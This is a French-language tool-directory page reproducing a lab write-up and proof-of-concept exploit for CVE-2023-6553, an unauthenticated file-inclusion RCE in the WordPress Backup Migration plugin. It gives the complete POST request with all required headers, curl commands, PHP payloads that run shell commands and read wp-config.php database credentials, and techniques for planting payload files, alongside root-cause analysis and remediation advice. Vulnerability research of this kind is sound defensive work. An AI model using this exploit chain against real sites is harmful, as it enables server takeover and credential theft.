Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-6553 — Exploit de preuve de concept et analyse technique pour CVE-2023-6553, une vulnérabilité d'inclusion de fichier PHP non authentifiée permettant l'exécution de code à distance dans le plugin WordPress Backup Migration <=1.3.7. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2023-6553
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

Exploit de preuve de concept et analyse technique pour CVE-2023-6553, une vulnérabilité d'inclusion de fichier PHP non authentifiée permettant l'exécution de code à distance dans le plugin WordPress Backup Migration <=1.3.7.

Voir le dépôt
il y a 16 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-6553

Inclusion de fichier PHP menant à une RCE — Plugin Backup Migration

Plugin : Backup Migration (backup-backup) ≤ 1.3.7

CVSS : 9.8 (Critique)

CWE : CWE-98 — Contrôle inadéquat du nom de fichier pour l'instruction Include/Require

Authentification requise : Aucune

Impact : Exécution de code à distance


1. Qu'est-ce que cette vulnérabilité ?

Backup Migration est un plugin WordPress assez populaire (~90 000+ installations actives) qui permet aux utilisateurs de créer des sauvegardes. Pendant le processus de sauvegarde, le plugin dispose d'un fichier nommé backup-heart.php qui s'exécute en arrière-plan — il reçoit des informations de configuration via les en-têtes HTTP pour savoir quel répertoire doit être sauvegardé, où se trouve le fichier de configuration, etc.

Le problème réside dans le fait que ce fichier fait entièrement confiance aux en-têtes HTTP envoyés par le client, intègre directement la valeur de l'en-tête dans le chemin du fichier, puis utilise require_once() pour charger le fichier depuis ce chemin. Un attaquant n'a qu'à envoyer l'en-tête Content-Dir pointant vers un répertoire contenant du code PHP malveillant → le serveur l'inclut et l'exécute automatiquement.

À noter que le fichier backup-heart.php ne nécessite aucune authentification — il vérifie uniquement si la méthode de requête est POST, sans valider aucun nonce ni privilège utilisateur. N'importe qui sur Internet peut lui envoyer une requête.

⇒ C'est une vulnérabilité zero-click.

2. Connaissances de base

Inclusion de fichier en PHP

PHP dispose de fonctions comme include(), require(), require_once() utilisées pour inclure d'autres fichiers PHP dans le programme en cours d'exécution. Lorsque le chemin de fichier passé à ces fonctions provient d'une entrée utilisateur sans validation, un attaquant peut forcer le serveur à inclure n'importe quel fichier de son choix :

  • LFI (Local File Inclusion) : charge un fichier existant sur le serveur — par exemple, un fichier journal « empoisonné » avec du code PHP.
  • RFI (Remote File Inclusion) : charge un fichier depuis un serveur externe — nécessite allow_url_include=On (généralement désactivé par défaut).

Cette CVE relève de la LFI — l'attaquant contrôle le chemin passé à require_once() pointant vers un fichier PHP que l'attaquant a réussi à écrire sur le serveur.

Pourquoi les en-têtes HTTP sont-ils dangereux ?

De nombreux développeurs pensent que les en-têtes HTTP sont des métadonnées « internes » connues uniquement du serveur et du client. En réalité, les attaquants contrôlent 100 % du contenu des en-têtes — ils peuvent définir n'importe quel nom et valeur d'en-tête. Faire confiance aux en-têtes revient à faire confiance aux champs de formulaire — cela doit être validé.

define() et les constantes PHP

define('NAME', $value) crée une constante utilisée dans toute l'application. Une fois définie via define(), la valeur ne peut plus être modifiée. Si $value provient d'un attaquant, chaque endroit utilisant cette constante est affecté.

3. Analyse du code source — D'où provient la vulnérabilité ?

Étape 1 : Trouver le sink

J'ai commencé par utiliser grep pour rechercher tous les require et include dans le plugin :

root@kitploit:~
grep -rn "require\|include" includes/

image.png

Les résultats de recherche ont renvoyé de nombreux appels require/include. En les examinant, la plupart étaient des appels include_once dans banner/misc.php et banner/views/index.php — ils appartiennent au code de rendu de l'interface d'administration avec des chemins codés en dur, ce qui les rend non exploitables.

Cependant, 2 lignes dans backup-heart.php ont attiré mon attention :

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

La ligne 118 utilise require_once avec la constante BMI_INCLUDES — si cette constante était codée en dur, ce serait sécurisé. Mais en regardant la ligne 64, j'ai vu que BMI_INCLUDES est construite à partir d'une autre constante, BMI_ROOT_DIR. Nous devons donc remonter plus loin : où BMI_ROOT_DIR reçoit-elle sa valeur ?

J'ai de nouveau utilisé grep pour la tracer :

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

Résultats :

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

La ligne 62 montre que BMI_ROOT_DIR prend sa valeur depuis $fields['content-dir']. C'est une variable, pas une valeur fixe — nous devons ouvrir le fichier et voir ce que contient $fields.

Étape 2 : Inspection du code source — D'où vient $fields ?

J'ai ouvert backup-heart.php dans VS Code à la ligne 62 :

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

On voit clairement que $fields['content-dir'] va directement dans define(). Il faut maintenant déterminer où la variable $fields est assignée :

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

À ce stade, la cause racine devient limpide : $fields contient tous les en-têtes HTTP récupérés via getallheaders() — entièrement contrôlés par le client. Il n'y a ni wp_verify_nonce(), ni current_user_can(), ni vérification du chemin — il vérifie simplement la méthode POST et lit directement les en-têtes.

Étape 3 : Résumé du déroulement de l'attaque

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

Résumé de la cause racine : en-tête HTTP → define() → require_once(), sans aucune étape de validation entre les deux.

Étape 4 : Débogage avec Xdebug

J'ai utilisé Xdebug + VS Code pour confirmer visuellement le déroulement de l'attaque. J'ai placé 2 points d'arrêt aux lignes 62 et 118 de backup-heart.php, puis j'ai envoyé la requête d'exploitation avec curl.

Point d'arrêt 1 — Ligne 62 :

Le débogueur s'est arrêté juste à define('BMI_ROOT_DIR', $fields['content-dir']). En développant la variable $fields dans le panneau Variables, on voyait un tableau de 22 éléments — contenant tous les en-têtes HTTP envoyés par le client. Concrètement :

  • content-dir = "/tmp/bmi/" — c'est exactement la valeur envoyée via l'en-tête, qui est directement assignée à la constante BMI_ROOT_DIR.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — tous contrôlés par l'attaquant.

Aucune validation ni étape de filtrage n'est appliquée à content-dir avant de le passer à define().

image.png

Point d'arrêt 2 — Ligne 118 :

En appuyant sur F5, le débogueur s'est arrêté à require_once BMI_INCLUDES . '/bypasser.php'. En observant l'état :

  • Panneau Variables : $fields contient toujours content-dir = "/tmp/bmi/" — preuve que la valeur n'a pas été modifiée entre les lignes 62 et 118.
  • Panneau Pile d'appels : affiche {main} backup-heart.php 118:1 — le code a été exécuté directement du début du fichier jusqu'à ce point, en contournant tout middleware ou contrôle d'authentification.
  • La ligne 118 s'apprête à inclure le fichier situé à /tmp/bmi/includes/bypasser.php — un fichier dont le contenu est contrôlé par l'attaquant.

image.png

Les résultats du débogage confirment parfaitement le déroulement analysé à l'étape 3 : l'en-tête HTTP circule de getallheaders() → define() → require_once(), sans aucune validation entre les deux.

4. Chaîne d'attaque

Étape 1 — Placer un fichier PHP sur le serveur

Avant de déclencher l'inclusion, un fichier PHP doit déjà exister sur le serveur cible. Les techniques courantes incluent :

Étape 2 — Déclencher l'inclusion via 1 requête POST

Envoyez une requête avec Content-Dir pointant vers le répertoire contenant la charge utile. Le serveur require et exécute automatiquement le fichier de l'attaquant.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

Tous les en-têtes Content-* doivent être fournis car backup-heart.php les utilise dans d'autres appels define() — des en-têtes manquants déclenchent des avertissements PHP et peuvent interrompre l'exécution avant d'atteindre require_once.

5. PoC — Exploitation en laboratoire

5.1 Vérifier si le point de terminaison est accessible

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

Renvoie 200 — le point de terminaison est ouvert et ne demande pas d'authentification.

image.png

5.2 Créer le fichier de charge utile

Créez la structure de répertoires correspondant à ce que require_once s'attend à trouver : {Content-Dir}includes/bypasser.php :

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 Envoyer l'exploit — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

Résultat de sortie :

image.png

RCE réussie — le serveur exécute la commande id et renvoie la sortie.

5.4 Démonstration de l'impact — Lecture des identifiants de la base de données

Après avoir confirmé la RCE, j'ai modifié la charge utile pour démontrer qu'un attaquant peut lire des informations sensibles sur le serveur. Modifiez le contenu du fichier de charge utile pour lire wp-config.php :

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

Renvoyez la même requête d'exploitation curl → la sortie renvoie les informations de connexion à la base de données :

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

L'attaquant peut lire tout fichier auquel www-data a accès — wp-config.php, /etc/passwd, le code source d'autres plugins — élargissant ainsi la surface d'attaque.

image.png

5.5 Collecte d'informations système

Modifiez encore la charge utile pour démontrer qu'un attaquant peut collecter des informations système du serveur — facilitant l'élévation de privilèges ou le mouvement latéral :

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

Envoyez l'exploit curl → sortie :

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

À partir de cette sortie, l'attaquant découvre :

  • Version du noyau — utilisée pour trouver des exploits noyau permettant l'élévation de privilèges vers root
  • IP interne 172.18.0.3 — confirme que le serveur est dans un réseau Docker, permettant un pivot vers d'autres conteneurs (base de données, cache, etc.)

6. Sévérité de l'impact

Impact concret

  • Plus de 90 000 sites utilisent ce plugin.
  • L'attaquant détecte le plugin via 1 requête POST vers le point de terminaison — 200 signifie présent, 404 absent.
  • Un plugin désactivé reste exploitable car backup-heart.php reste sur le disque et peut être directement accessible via une URL.
  • Après la RCE, l'attaquant peut : exporter la base de données, installer des backdoors, effectuer un pivot vers d'autres serveurs du même réseau.

7. Atténuation et remédiation

Ce que les développeurs devraient faire

N'utilisez pas les en-têtes HTTP pour déterminer les chemins de fichiers. Utilisez des chemins relatifs dérivés de __DIR__ :

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

Ajoutez un contrôle d'autorisation — seul l'administrateur WordPress devrait être autorisé à invoquer ce point de terminaison :

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

Ce que les administrateurs WordPress devraient faire

  1. Mettez à jour vers la version ≥ 1.3.8 immédiatement.
  2. S'il n'est pas utilisé, supprimez complètement le plugin — la désactivation est insuffisante car les fichiers restent accessibles.
  3. Inspectez les journaux d'accès pour détecter les requêtes suspectes ciblant backup-heart.php.
  4. Implémentez des règles WAF bloquant les requêtes POST directes vers /wp-content/plugins/*/includes/*.php.
Télécharger l’outil
AttributValeur
ID CVECVE-2023-6553
Score CVSS9.8 (Critique)
Pluginbackup-backup (Backup Migration) ≤ 1.3.7
AuthentificationNon requise
Interaction utilisateurAucune (zero-click)
CorrigéVersion 1.3.8
Méthode
Concept
Empoisonnement des journauxEnvoyer une requête contenant <?php ... ?> dans le User-Agent → le code est écrit dans le journal d'accès → inclure le fichier journal
Session PHPÉcrire du code PHP dans un fichier de session situé dans /tmp/sess_xxx
Chaîne d'uploadUtiliser la fonctionnalité d'upload de médias/avatars de WordPress pour téléverser le fichier
Journal d'erreurs du pluginLe plugin écrit son propre journal d'erreurs — déclencher une erreur contenant du code PHP écrit ce code dans le fichier journal
Métrique CVSSValeurRaison
Vecteur d'attaqueRéseauVia HTTP
Complexité d'attaqueFaible1 requête POST, aucune condition de synchronisation ou particulière requise
Privilèges requisAucunLe point de terminaison ne nécessite pas d'authentification
Interaction utilisateurAucunePilotée par l'attaquant, aucune interaction requise de la victime
ConfidentialitéÉlevéePeut lire n'importe quel fichier : wp-config.php, /etc/passwd, code source
IntégritéÉlevéeÉcriture de fichiers arbitraires, installation de webshell, modification de la base de données
DisponibilitéÉlevéeSuppression de fichiers, arrêt de processus, compromission totale du serveur